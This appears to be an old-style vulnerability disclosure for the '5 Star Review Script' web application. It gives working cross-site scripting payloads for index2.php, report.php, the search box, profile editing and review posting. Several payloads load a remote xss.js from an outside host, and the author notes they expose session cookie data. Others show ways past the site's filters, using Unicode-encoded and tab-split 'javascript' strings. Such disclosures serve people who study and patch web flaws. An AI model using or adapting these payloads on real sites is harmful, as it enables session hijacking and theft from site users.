5 Star Review Script

Homepage:

http://www.review-script.com/

Effected files:

index2.php

report.php

search box

editing your profile

posting a review.

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index2.php XSS Vuln with cookie disclosure:

By ending quotes and using a few closing and opening tags before and after, we can insertour script code and produce

this vulnerability.

http://www.example.com/index2.php?pg=2&item_id=11&sort=review.id'>">'><S
CRIPT%20SRC=http://www.youfucktard.

com/xss.js></SCRIPT><"<"<"<"&order=DESC&PHPSESSID=91c137efddf8844a26f5c5
7a8ca2d57d

Screenshots:

http://www.youfucktard.com/xsp/5star1.jpg

http://www.youfucktard.com/xsp/5star2.jpg

Aftering clicking the "Email a friend this link" we notice our text partyl is still on the screen aswell, dueto the cookie.

Screenshots:

http://www.youfucktard.com/xsp/5star3.jpg

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report.php XSS Vuln same as above:

http://www.example.com/report.php?id=970&item_id=251'>">'><SCRIPT%20SRC=
http://www.youfucktard.com/xss.js></SCRIPT><"<"<"<"

Again, the cookie data is output on our screen.

--------------------------------------

search_reviews.php XSS Vuln:

One way to achive this XSS example would be to use long UTF-8 Unicode encoding without semicolons. For PoC try

putting this in the search box:

'>">'<IMG SRC=javascr�
0105pt:aler�
0116('XSS')><"<"
<"<"

Now, if we try touse '>">'><SCRIPT%20SRC=http://www.youfucktard.com/xss.js></SCRIPT><"<"<"<" Like the previous results, we get a screen spammed full of "javascript is not allowed" which goes all the way across, and down several

screens.

Screenshot:

http://www.youfucktard.com/xsp/5star4.jpg

---------------------------------------------

Editing your profile XSS Vuln:

For aPoC try using no filtering at all:

<SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT>

Screenshots:

http://www.youfucktard.com/xsp/5star5.jpg

http://www.youfucktard.com/xsp/5star6.jpg

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When posting a review, theres many ways to bypass the filters they use. The way I used in thisscreenshot was to put a

tab between jav ascript. For aPoC make sure tabs on and enter:

<IMG SRC="jav ascript:alert('XSS');">

Screenshots:

http://www.youfucktard.com/xsp/5star7.jpg

http://www.youfucktard.com/xsp/5star8.jpg

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